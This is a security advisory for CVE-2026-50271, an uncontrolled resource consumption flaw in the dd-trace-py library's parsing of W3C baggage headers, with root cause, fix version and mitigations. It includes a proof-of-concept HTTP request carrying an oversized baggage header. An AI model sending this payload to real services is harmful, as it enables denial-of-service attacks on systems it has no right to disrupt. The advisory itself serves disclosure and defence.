CVE-2026-50271: ddtrace Uncontrolled Resource Consumption via W3C Baggage Header Parsing
The Datadog Python tracing library parsed incoming W3C baggage HTTP headers without any item-count or size limit, letting an unauthenticated remote attacker exhaust CPU and memory with a single crafte
The problem
dd-trace-py parsed the W3C `baggage` HTTP header on the extraction path without enforcing the existing DD_TRACE_BAGGAGE_MAX_ITEMS (default 64) or DD_TRACE_BAGGAGE_MAX_BYTES (default 8192) guards. Those limits existed only on injection.
An attacker sending a request with an arbitrarily large number of comma-separated baggage key-value pairs forces the tracer to allocate a hash-map entry for every pair on every request. This causes unbounded CPU and memory growth, enabling remote DoS against any instrumented HTTP service.
Because baggage propagation is included in the default propagation style since v2.16.0, most internet-facing deployments are exposed with no extra configuration required.
Proof of concept
A working proof-of-concept for CVE-2026-50271 in ddtrace, with the exact payload below.
POST /api/endpoint HTTP/1.1
Host: target.example.com
baggage: k1=v,k2=v,k3=v,k4=v,k5=v,k6=v,k7=v,k8=v,k9=v,k10=v,k11=v,k12=v,k13=v,k14=v,k15=v,k16=v,k17=v,k18=v,k19=v,k20=v,k21=v,k22=v,k23=v,k24=v,k25=v,k26=v,k27=v,k28=v,k29=v,k30=v,k31=v,k32=v,k33=v,k34=v,k35=v,k36=v,k37=v,k38=v,k39=v,k40=v,k41=v,k42=v,k43=v,k44=v,k45=v,k46=v,k47=v,k48=v,k49=v,k50=v,k51=v,k52=v,k53=v,k54=v,k55=v,k56=v,k57=v,k58=v,k59=v,k60=v,k61=v,k62=v,k63=v,k64=v,k65=v,k66=v,k67=v,k68=v,k69=v,k70=v,[... repeat to thousands of pairs or pad values to megabytes ...]
Content-Length: 0The root cause is asymmetric limit enforcement. The injection path in `ddtrace/propagation/http.py` applied `itertools.islice(baggage_items, DD_TRACE_BAGGAGE_MAX_ITEMS)` and a byte-budget check before writing outbound headers. The extraction path had no equivalent guard, so it iterated every comma-separated member and inserted each into a dictionary unconditionally.
The fix in 4.8.2 brought the same islice count cap and cumulative byte-size check to the extract path, mirroring the injection-side logic. This maps to CWE-770 (Allocation of Resources Without Limits or Throttling). The related OpenTelemetry advisories (GHSA-mh2q-q3fh-2475 for Go, GHSA-g94r-2vxg-569j for .NET) describe the identical pattern across multiple tracing ecosystems.
The fix
Upgrade dd-trace-py to 4.8.2 or later. If an immediate upgrade is not possible, remove `baggage` from DD_TRACE_PROPAGATION_STYLE (or DD_TRACE_PROPAGATION_STYLE_EXTRACT) to disable baggage extraction entirely. As a defense-in-depth measure, cap the maximum HTTP request header size at an upstream proxy, for example using Nginx `large_client_header_buffers`, Apache `LimitRequestFieldSize`, or Envoy `max_request_headers_kb`.
Related research
- high · 7.5CVE-2026-49476CVE-2026-49476: soupsieve Memory Exhaustion via Unbounded Selector List
- high · 7.5CVE-2026-49851CVE-2026-49851: mistune Quadratic-Time DoS in parse_link_text
- high · 7.7phantom-audio: Arbitrary File Write and Decode-Bomb DoS via Unconfined MCP Tool Paths
- high · 7.5CVE-2026-49477CVE-2026-49477: soupsieve Regular Expression Denial of Service (ReDoS)